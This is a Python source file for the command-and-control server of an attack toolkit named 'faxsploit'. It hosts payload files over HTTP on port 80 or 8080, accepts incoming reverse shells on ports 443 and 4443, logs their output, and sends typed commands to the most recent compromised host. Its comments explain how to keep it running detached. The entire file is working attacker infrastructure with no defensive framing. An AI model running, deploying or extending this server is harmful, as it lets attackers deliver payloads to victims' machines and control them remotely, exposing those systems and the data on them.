#!/usr/bin/env python3
# c2_server.py — faxsploit C2 + payload host (single file, stdlib only)
# Defaults: HTTP file server on 80 (fallback 8080); shell listeners on 443 + 4443.
# Run interactive:  tmux new -s c2   then   python3 ~/faxsploit/c2_server.py
#   (re-attach: tmux attach -t c2 ; detach: Ctrl-b d)
# Run detached:     nohup python3 ~/faxsploit/c2_server.py </dev/null > ~/faxsploit/c2.out 2>&1 &
# Watch:            tail -f ~/faxsploit/c2.log
import os, sys, time, logging, socket, threading
from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer

HERE = os.path.dirname(os.path.abspath(__file__))
HTTP_CANDIDATES = [int(p) for p in os.environ.get("C2_HTTP_PORT", "80").split(",")] + [8080]
C2_CANDIDATES = [int(p) for p in os.environ.get("C2_PORTS", "443,4443").split(",")]
logging.basicConfig(filename=os.path.join(HERE, "c2.log"), level=logging.INFO,
                    format="%(asctime)s %(message)s")
shells, lock = {}, threading.Lock()

class H(SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)
    def log_message(self, *a):
        pass

def shell_loop(cid, sock, peer):
    with lock: shells[cid] = sock
    print("\n[SHELL %d] connected from %s" % (cid, peer), flush=True)
    logging.info("SHELL %d connect %s", cid, peer)
    try:
        while True:
            data = sock.recv(65536)
            if not data: break
            for line in data.splitlines(keepends=True):
                txt = line.decode("latin1")
                print("[shell %d] %s" % (cid, txt), end="", flush=True)
                logging.info("[shell %d] %s", cid, txt.rstrip())
    except Exception as e:
        logging.info("SHELL %d error %r", cid, e)
    finally:
        with lock: shells.pop(cid, None)
        print("\n[SHELL %d] closed" % cid, flush=True)
        logging.info("SHELL %d closed", cid)
        try: sock.close()
        except Exception: pass

def c2_listen(port):
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try: srv.bind(("0.0.0.0", port))
    except OSError as e:
        print("cannot bind %d: %r (skipping)" % (port, e), flush=True); return
    srv.listen(16)
    print("C2 listening on 0.0.0.0:%d" % port, flush=True)
    n = 0
    while True:
        s, peer = srv.accept()
        n += 1
        threading.Thread(target=shell_loop, args=(n, s, peer)).start()

def cmd_loop():
    print("C2 ready. Type commands -> newest shell. 'l' lists shells.", flush=True)
    while True:
        try: line = input("> ")
        except (EOFError, OSError): break
        line = line.strip("\n")
        if not line: continue
        if line == "l":
            with lock: print(sorted(shells) or "(none active)", flush=True)
            continue
        with lock:
            if shells:
                try: shells[max(shells)].sendall(line.encode() + b"\n")
                except Exception as e: print("send failed: %r" % e, flush=True)
            else: print("(no active shell)", flush=True)

if __name__ == "__main__":
    os.chdir(HERE)
    http_port = None
    for p in HTTP_CANDIDATES:
        try:
            httpd = ThreadingHTTPServer(("0.0.0.0", p), H)
            http_port = p
            break
        except OSError as e:
            print("cannot bind http %d: %r" % (p, e), flush=True)
    if http_port is None:
        raise SystemExit("no HTTP port available")
    threading.Thread(target=httpd.serve_forever).start()   # non-daemon: keeps process alive
    print("serving %s on 0.0.0.0:%d" % (HERE, http_port), flush=True)
    for p in C2_CANDIDATES:
        threading.Thread(target=c2_listen, args=(p,)).start()   # non-daemon: keeps process alive
    try:
        cmd_loop()
    except Exception:
        pass
    while True:
        time.sleep(3600)   # main-thread backstop: never exit on its own
